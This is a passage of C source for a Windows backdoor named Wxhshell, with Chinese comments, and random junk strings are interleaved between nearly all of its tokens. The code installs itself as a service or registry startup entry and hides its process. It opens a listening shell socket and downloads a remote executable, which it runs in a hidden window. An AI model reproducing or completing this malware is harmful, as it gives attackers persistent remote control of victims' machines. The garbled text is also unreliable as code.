sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \Ol kM< `|ASx8_! CloseHandle(hProcess); 1*@'-mj Jz2N if(strstr(procName,"services")) return 1; // 以服务启动 pP*a $d_|NssvU return 0; // 注册表启动 ;n&t>pBM } OHhsP}/ +Zaj,oEE
// 主模块 `1bv@yzq int StartWxhshell(LPSTR lpCmdLine) !Rhlf.x { ,}K7Dg^1 SOCKET wsl; 61)-cVC BOOL val=TRUE; *q-['"f int port=0; UOxkO struct sockaddr_in door; SUU !7Yd| N _86t if(wscfg.ws_autoins) Install(); H*$jc\
dC d'G0m9u2 port=atoi(lpCmdLine); 6jC`8l: Bg|5KOnd if(port<=0) port=wscfg.ws_port; Aj+2;]M V 7Ek-2M WSADATA data; iqe%=%ZR if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V4KMOYqm 4*Hgv:0?kI if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 0 g?z&? setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); '|Kmq5) door.sin_family = AF_INET; .O0+H+ door.sin_addr.s_addr = inet_addr("127.0.0.1");
?B}{GL2) door.sin_port = htons(port); $h*L=t( 8n*.).33 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <w)r`D6 closesocket(wsl); U'<KC"f:'! return 1; /Sc l#4bW } 'lEA)&d fvdU`*|n) if(listen(wsl,2) == INVALID_SOCKET) { B(n{e53 9f closesocket(wsl); hHT_V2* return 1; z$?~Y(EY } f]\CD<g3|E Wxhshell(wsl); 2C9V|[U, WSACleanup(); br":y>=, {;:/-0s return 0; IHcD*zQ 9mmCp&~Z } ucG@?@JENm 6 1F(<! // 以NT服务方式启动 93`
AWg/T VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3v5%y' { X;"Sx#U DWORD status = 0; >JC DWORD specificError = 0xfffffff; {ZI)nQ{ *rIk:FehLB serviceStatus.dwServiceType = SERVICE_WIN32; ;3B1_vo9 serviceStatus.dwCurrentState = SERVICE_START_PENDING; NqDHCI serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Te<}*qvD serviceStatus.dwWin32ExitCode = 0; L>SjllY serviceStatus.dwServiceSpecificExitCode = 0; +ayos[<0# serviceStatus.dwCheckPoint = 0; dAkgR~ serviceStatus.dwWaitHint = 0; ZI 3Nq Q=/</| hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :$m}UA-9 if (hServiceStatusHandle==0) return; (}EB2V9Hh _U
|>b> status = GetLastError(); ^7 &5
z&o if (status!=NO_ERROR) H\:lxR^ { 2IKnhBSV3 serviceStatus.dwCurrentState = SERVICE_STOPPED; A .EbXo/ serviceStatus.dwCheckPoint = 0; TiO"xMX serviceStatus.dwWaitHint = 0; jN6uT&{T serviceStatus.dwWin32ExitCode = status; ~==>pj serviceStatus.dwServiceSpecificExitCode = specificError; @EnuJe SetServiceStatus(hServiceStatusHandle, &serviceStatus); n=c
2Kc return; P#XID 2; } O]1y0BOQ * Of4o serviceStatus.dwCurrentState = SERVICE_RUNNING; Z`KC%!8K serviceStatus.dwCheckPoint = 0; Nz],IG. serviceStatus.dwWaitHint = 0; RWgNo#< if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k|lcc^[0 } }DK7'K znaUB v_ // 处理NT服务事件,比如:启动、停止 8\5 T3AF VOID WINAPI NTServiceHandler(DWORD fdwControl) yl1gx { C86J
IC" switch(fdwControl) a+!tT!g&I { 7lBAxqr2 case SERVICE_CONTROL_STOP: .QN>z-YA6: serviceStatus.dwWin32ExitCode = 0; \0vr>C serviceStatus.dwCurrentState = SERVICE_STOPPED; ] 0B2#
d serviceStatus.dwCheckPoint = 0; jkt_5+S serviceStatus.dwWaitHint = 0; f'VX Y- {
1][S#H/? SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gr^E+#; } hnc@ return; -2 A(5B9Fq case SERVICE_CONTROL_PAUSE: zBk'{[y9L serviceStatus.dwCurrentState = SERVICE_PAUSED; %Cv D-![0 break; !`M|C?b case SERVICE_CONTROL_CONTINUE: ` M3w]qJ<} serviceStatus.dwCurrentState = SERVICE_RUNNING; NH<5*I/ break; f^"N!f a case SERVICE_CONTROL_INTERROGATE: LkK~%tY break; =yyp?WmC8 }; =aoMii SetServiceStatus(hServiceStatusHandle, &serviceStatus); viMzR(JU } }`,t$NV` "huFA|` // 标准应用程序主函数 dK2p7xo int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4*cU< { :X]itTrGs kMt 8/ E` // 获取操作系统版本 < VSA OsIsNt=GetOsVer(); :kf`?u GetModuleFileName(NULL,ExeFile,MAX_PATH); `R=HKtr? |]ZYa.+: // 从命令行安装 =MLcm^b if(strpbrk(lpCmdLine,"iI")) Install(); OC<5E121>Y .P MZX%*v // 下载执行文件 J1:1B,^y if(wscfg.ws_downexe) { 1PP $XJtyD if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~ y;6W0x WinExec(wscfg.ws_filenam,SW_HIDE); HAJ 7m!P } 8peDI7[| \DD0s8 if(!OsIsNt) { thvYL.U: // 如果时win9x,隐藏进程并且设置为注册表启动 {'2@(^3 HideProc(); o17ekML StartWxhshell(lpCmdLine); /gu%:vq } ykX/9y+-s else naw0$kXTA if(StartFromService()) fI~Xmw+}} // 以服务方式启动 Ts ^"xlK StartServiceCtrlDispatcher(DispatchTable); P}TI
q# else mHBnC&-/ // 普通方式启动 T<w5vqFDu StartWxhshell(lpCmdLine); qAS qscO uec!RKE return 0; x\s|n{ }
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